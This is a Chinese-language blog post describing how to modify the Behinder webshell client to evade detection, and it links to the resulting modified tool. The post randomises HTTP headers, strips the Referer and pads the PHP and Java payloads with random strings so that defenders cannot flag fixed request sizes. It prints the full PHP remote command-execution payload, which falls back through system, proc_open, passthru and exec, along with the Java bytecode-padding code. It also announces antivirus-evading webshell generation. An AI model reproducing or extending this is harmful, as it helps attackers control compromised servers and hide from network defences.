image-20250706005428414

最近学习了一下冰蝎和哥斯拉的二开,但也只是学习了一丢丢皮毛,这里记录一下。

继上次二开哥斯拉后,已经过去了七个月了,项目收获了很多star,感谢大家。

上次我们已经对godzilla进行了二开,这次我们继续对冰蝎进行简单的二开。

准备工作

首先致敬一下原版冰蝎,原版地址https://github.com/rebeyond/Behinder

我们这里使用的最新的[Behinder_v4.1【t00ls专版】 Latest]版本,进行逆向及二开。虽然是4.1版本,但是本文还是在冰蝎3的木马上做研究。冰蝎因为涉及到自己设置加密解密脚本,我们将下篇文章进行研究。

反编译网址,https://www.decompiler.com/,直接拖入jar包即可,很方便。

当然也可以使用idea的插件进行反编译,都一样。

ok开始

环境搭建

这里细节的反编译及配置就不在此文章中体现了,这里配置的过程和哥斯拉一模一样。有兴趣的同学可以回看之前的文章godzilla二开学习。

只是接着添加主类不是哥斯拉的路径

image-20250701203019979

是在这个路径,这个路径实际上是自己出来的。

要将反编译的src\META-INF/MANIFEST.MF源文件,放到src下面,注意路径。这个主类的路径就自己出来了。

点击选中主类,我们既可以愉快的二开了。

改标题

现在就可以编译了,我们先简单的改一下标题。

复制一份文件,冰蝎的标题在net/rebeyond/behinder/core/Constants.java复制src/net/rebeyond/behinder/core/Constants.java,没有的目录要创建一下。目录一定要对齐。这里一定要清楚,不要在原版的那个和编译的那些文件里改,想改什么,把目录对齐,创建复制文件。

image-20250701204109794

这里就可以看到相关的参数了,随意更改,老样子,我们随便改一下就好。

然后build project 在build artifacts 就可以了。

image-20250701204905919

这里有一点要注意,就是如果你运行生成好的jar,他说数据库未找到,

那么你需要编辑一下环境

image-20250701205042896

image-20250701205104146

这个working directory需要设成你的生成文件的目录,这样,Behinder.Jar就能找到相关的数据库文件了,

image-20250701205303687

当然别忘了把Behinder自带的目录都挪过来。

全局改造

我们知道,godzilla和Behinder都有一些强特征,我们可以加一下混淆或者简单改改。

看网上一些大师傅分析的结果,似乎都比较久远(3.0),我们尝试分析一下。

冰蝎是没有像哥斯拉一样的测试按钮的,我们只能直接打开。

在我们直接打开后,会发现,有三个数据包

image-20250701210316376

我们先来看第一个包,我们就

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /rebeyond/mian2.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Content-type: application/x-www-form-urlencoded
Referer: http://192.168.133.128:11001/DR6D/NX.php
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 3096
Host: 192.168.133.128:11001
Connection: close
Accept-Encoding: gzip, deflate

3Mn1yNMtoZViV5wotQHPJtww..


HTTP/1.1 200 OK
Server: nginx
Date: Tue, 01 Jul 2025 12:55:12 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=ro9l5p843f3h6l9s30mcg8951c; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 286

...

这里可以看到请求包中有

Accept: application/json, text/javascript, /; q=0.01
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Content-type: application/x-www-form-urlencoded
Referer: http://192.168.133.128:11001/DR6D/NX.php
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

这些都是我们可以修改的,

在net/rebeyond/behinder/core/Constants.java

image-20250701212418925

可以看到相关的定义

Accept: application/json, text/javascript, /; q=0.01,表示客户端(例如浏览器或爬虫)告诉服务器:

“我能接受这些类型的数据格式作为响应内容,按优先级排列如下。”

  1. application/json

    • 客户端最希望服务器返回 JSON 格式的数据;
    • 典型于前后端通信、Ajax 请求、API 接口调用。
  2. text/javascript

    • 如果不能返回 JSON,可以返回 JavaScript 脚本(例如 JSONP 响应);
    • 虽然现在 application/javascript 更标准,但 text/javascript 仍被广泛支持。
  3. \*/\*; q=0.01

    • */* 意思是「任何其他类型都可以接受」;

    • q=0.01 是质量因子(quality factor),表示优先级很低(取值范围是 0.0 ~ 1.0);

    • 这里的 q=0.01 表示除非前面都不满足,否则不考虑其他类型。

这里可以看到都是常用的Accept ,没有什么特殊的。

原版里面给了一个accept,有同学问,不是给了两个么,是的,给了两个,

image-20250701214434071

在同目录下的shellservice里面,作者定义了这个,最后一个永远不会被选中。我们给他加上,并且加几个字符串随机。

image-20250701215842183

这样的话,就可以简单随机了,大概率感觉不会被设备标记,太普通了

image-20250701220326930

一般也都是这种

1
public static String[] userAgents = new String[]{"Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0", "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"};

ua也定义了一下,看起来也都是一些常见的ua,我们直接给他换成我的edge,google,firefox的。

public static String[] userAgents在这里修改就行。

image-20250701221207713

Accept-Language这里也简单修改一下,

image-20250701222840016

大家仔细观察在上面bp图里面有一个Referer字段,这个字段是作者加的,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private String getReferer() {
String refer;
URL u = null;
try {
u = new URL(this.effectShellEntity.getString("url"));
String oldPath = u.getPath();
String newPath = "";
String ext = oldPath.substring(oldPath.lastIndexOf("."));
oldPath = oldPath.substring(0, oldPath.lastIndexOf("."));
String[] parts = oldPath.split("/");
for (int i = 0; i < parts.length; ++i) {
if (parts[i].length() == 0) continue;
if (new Random().nextBoolean()) {
int randomNum = new Random().nextInt(parts[i].length());
if (randomNum == 0) {
randomNum = 4;
}
String randStr = new Random().nextBoolean() ? Utils.getRandomString(randomNum).toLowerCase() : Utils.getRandomString(randomNum).toUpperCase();
newPath = newPath + "/" + randStr;
continue;
}
newPath = newPath + "/" + parts[i];
}
newPath = newPath + ext;
refer = this.currentUrl.replace(u.getPath(), newPath);
} catch (Exception e) {
return this.currentUrl;
}
return refer;
}

image-20250701225252868

响应的代码也是在shellservcie里,这一大段的意思就是,先获取根目录如Referer: http://192.168.133.128:11001/,然后随机取几个字符,放到后面,然后是什么语言的脚本就加一下随机几个字符.php,每次替换都是随机的,可能不替换我们当前的目录,可能部替换shell名字,就像下面这样。

image-20250701225830441

如果我们把这个referer去掉,

image-20250701225930317

image-20250701230032932

image-20250701230059005

没有referer 也是正常使用的。

这里猜测作者是想通过referer 进行迷惑设备或者人,我们这里就先给他去掉吧。

image-20250701230330965

在很多网站上我们都可以看到有referer ,这或许会成为检测的标准,或者不会,我们就先去掉吧,后面如果有需要,我们在进行重写。

到此,大概请求的header就差不多了,我看有大佬的文章说,有的Content-Length在5700左右

这个是没有问题的,我们来看一下流量。为什么会产生这个数字。

image-20250702003623065

冰蝎中每个语言都对应了模块

image-20250702003654124

这些模块就是 当我们打开冰蝎的黑框后,我们在命令执行这个页面执行命令,就会调用cmd模块的代码。

当我们执行ls后,

image-20250702004017564

先会发一个大包,aes解开后

需要解开一个base464,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
@error_reporting(0);

function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function main($cmd,$path)
{
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1\n";
}
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(
array(
'pipe',
'r'
),
array(
'pipe',
'w'
),
array(
'pipe',
'w'
)
), $pipes);
$kWJW = NULL;
while (! feof($pipes[1])) {
$kWJW .= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$kWJW .= fread($fp, 1024);
}
}
@pclose($fp);
} else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result));
return;

}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result));
}


function Encrypt($data)
{
@session_start();
$key = $_SESSION['k'];
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}
$cmd="Y2QgL3d3dy93d3dyb290L3BocC9yZWJleW9uZC8gO2xz";$cmd=base64_decode($cmd);$path="L3d3dy93d3dyb290L3BocC9yZWJleW9uZC8=";$path=base64_decode($path);
main($cmd,$path);

就会得到一个源码里的模板,和执行命令传的参数,

image-20250702004420175

这里cmd解出来就是传递的参数了,因为模板是确定的,那么他的传递的值大小就是确定的,这里因为我们执行的命令不一样,可能不一样,为什么呢,因为我们常常执行的命令都很短,

image-20250702004840065

这里可以看到,执行短的命令就是5740左右,执行长的就会相应的加上一些。

我们这里考虑到如果安全设备标记了这个长度,那就不好了,我们可以在模板中加一些字符串,让这个模板变大一些。首先在net/rebeyond/behinder/core/Params.javaimage-20250702014110041

找到相关的代码,因为每次都会加载php,我们刚刚看到的模板也copy出来一份,在net/rebeyond/behinder/core/Params.java中写一个随机位数的字符串,跨度大一些,

1
2
3
4
5
6
7
8
String CHAR_POOL = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
Random random = new Random();
int length = random.nextInt(51) + 150;
StringBuilder sb = new StringBuilder(length);
for (int i = 0; i < length; i++) {
sb.append(CHAR_POOL.charAt(random.nextInt(CHAR_POOL.length())));
}
String randomStr = sb.toString();

随机150-200字符,太大了也不行,影响传输,慢。

然后再模板中随意定义一个变量

image-20250702014615170

然后在进行替换一下,就好了。

image-20250702014634806

打包编译,看下效果。

image-20250702021249763

可以看到,再执行命令的时候也就可以动态的调整大小了。

image-20250702021619775

相应的,我们再解请求包的时候,也就可以看到这个字符串了。

这里笔者只是加了cmd.php其他的都没加,因为笔者再测试的时候发现,其他功能的请求字符串大小波动比较大,都没有太固定再一个值范围边,如果需要的话,从新copy一份,加上要替换的字符也就可以了。

image-20250705230906068

顺便在加一下jsp的,

需要在net/rebeyond/behinder/core/Params.java的

public static byte[] getTransProtocoledClass(String className, TransProtocol transProtocol) throws Exception {

修改,用到class修改,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
public static byte[] getTransProtocoledClass(String className, TransProtocol transProtocol) throws Exception {
String transProtocolName = transProtocol.getName();
if (transProtocol.getId() < 0) {
String key = ((LegacyCryptor)transProtocol.getCryptor()).getKey();
if (legacyPayloadClassCache.containsKey(transProtocolName) && legacyPayloadClassCache.get(transProtocolName).containsKey(key) && legacyPayloadClassCache.get(transProtocolName).get(key).containsKey(className)) {
return legacyPayloadClassCache.get(transProtocolName).get(key).get(className).toBytecode();
}
ClassPool cp = ClassPool.getDefault();
CtClass PocCls = cp.getAndRename(String.format("net.rebeyond.behinder.payload.java.%s", className), Utils.getRandomString(10));

//java
// === 插入随机字段 ===
String chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
Random random = new Random();
int length = 150 + random.nextInt(1500);
StringBuilder sb = new StringBuilder();
for (int i = 0; i < length; i++) {
sb.append(chars.charAt(random.nextInt(chars.length())));
}
String randomValue = sb.toString();
String fieldName = "bohemian_" + random.nextInt(9999);
String fieldSrc = "private static final String " + fieldName + " = \"" + randomValue + "\";";
CtField junkField = CtField.make(fieldSrc, PocCls);
PocCls.addField(junkField);
//end

CtMethod encodeMethod = CtNewMethod.make(transProtocol.getEncode(), PocCls);
PocCls.removeMethod(PocCls.getDeclaredMethod("Encrypt"));
PocCls.addMethod(encodeMethod);
PocCls.setName(className);
PocCls.detach();
Map<String, CtClass> payloadClass = new HashMap<>();
payloadClass.put(className, PocCls);
Map<String, Map<String, CtClass>> keyPayloadMap = new HashMap<>();
keyPayloadMap.put(key, payloadClass);
legacyPayloadClassCache.put(transProtocolName, keyPayloadMap);
return PocCls.toBytecode();
}
if (payloadClassCache.containsKey(transProtocolName) && payloadClassCache.get(transProtocolName).containsKey(className)) {
return payloadClassCache.get(transProtocolName).get(className).toBytecode();
}
ClassPool cp = ClassPool.getDefault();
CtClass PocCls = cp.getAndRename(String.format("net.rebeyond.behinder.payload.java.%s", className), Utils.getRandomString(10));
CtMethod encodeMethod = CtNewMethod.make(transProtocol.getEncode(), PocCls);
PocCls.removeMethod(PocCls.getDeclaredMethod("Encrypt"));
PocCls.addMethod(encodeMethod);
PocCls.setName(className);
PocCls.detach();
HashMap<String, CtClass> payloadClass = new HashMap<String, CtClass>();
payloadClass.put(className, PocCls);
payloadClassCache.put(transProtocolName, payloadClass);
return PocCls.toBytecode();
}

image-20250705231249340

这样每次用的时候执行命令的时候,就会把数据包随机的扩大一些了。

Content-length大小的改变就先到这里吧。

网上还有其他大师傅的文章说,每次客户端请求的时候,客户端的端口号是从image-20250702025210498

49700左右开始加的,

image-20250702025359673

笔者在测试的时候似乎没发现这个特征,这里不太清楚是因为木马是3.0的原因还是啥,这里就不过多研究了,等下个文章研究4.0木马的时候,我们再来研究是否有这个特征。

接下来,我们还是要看一下冰蝎的流量,从以前写的文章中我们知道,在godzilla中

请求流量php是可以左右加参数的,如 a=s&b=d&pass=balbal,godzilla的木马有两个参数,一个是pass,一个是key,pass是用来传参的,而key是用来异或的,所以pass的值才是server端php所接受的参数,而在Behinder中,php的木马是是用的file_get_contents("php://input");来接受所有的传递内容,所以我们在看behinder的流量时,会发现,是没有参数传递的。这个函数file_get_contents(“php://input”)和字符串,后面免杀要重点关注。image-20250705202555384

这里如果在加一些 a=s&b=d&pass=balbal,似乎有些不好,不是那么规整了,这里就不在画蛇添足了。当然,如果想加的话,也不是不行,$post=file_get_contents(“php://input”);,直接获取参数的值给post变量即可。

下面我们来看,返回包,从以前写的文章中我们知道,godzilla的返回包带有密码和key的md5值,在返回包的前后,

image-20250705203237843

也就是这样的,godzilla二开,在前面的文章中可以看到我们在二开哥斯拉的时候,给他修改了一下,让他没那么明显,image-20250705203447624

也就是这样,让他没那么明显,但是我们回过头来看behinder的返回包

image-20250705203604434

image-20250705204058620

看起来似乎就是加密的流量,如果不解密出来的话,没有什么明显的特征,如果这里加成那种带message的其实也行,但是感觉没什么必要,加了有点突兀,这里笔者就先不加了。当然如果你想加也是可以的,在net/rebeyond/behinder/core/ShellService.java中,对data数据进行操作就可以了,当然前提是你的木马也要修改,就是echo一下。

image-20250705204158159

image-20250705204316386

也就是说,整体上来看behinder3.0的流量看起来还是挺正常的。目前来看不太需要进行更改。

总结

这里也只是简单的对冰蝎3.0的数据包流量进行一丢丢的修改,看到网上的一些特征做隐去处理,没有做过多的更改

下个版本

下个版本我们将做免杀,我们都知道,哥斯拉是可以直接生成木马的,而冰蝎不能直接生成,是自带的在,在我们下载的时候,image-20250705231938998

在server中,这样的话,不是很方便。

下个版本将新增一个免杀生成按钮,

image-20250705232010941

image-20250705232203175

点开后,输入密码生成即可。

目前框架已写好了,php和asp已经做完免杀了,其他的还需要做一些。很快将会完成。

下载、使用

什么,你说看不明白、不想动手、太麻烦,没事,去下载就可以了。
https://github.com/Bohemiana/behinder_erkai
src代码也以上传,免杀已有框架代码,大家直接下载研究即可。

致谢

最后感谢您读到现在,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。如果您感觉文章写的不错或者工具用起来还行,帮笔者点点stars、给公众号点点关注,先谢谢大家了。

参考
1
https://github.com/rebeyond/Behinder            原版behinder

emmm 太菜了
一直在路上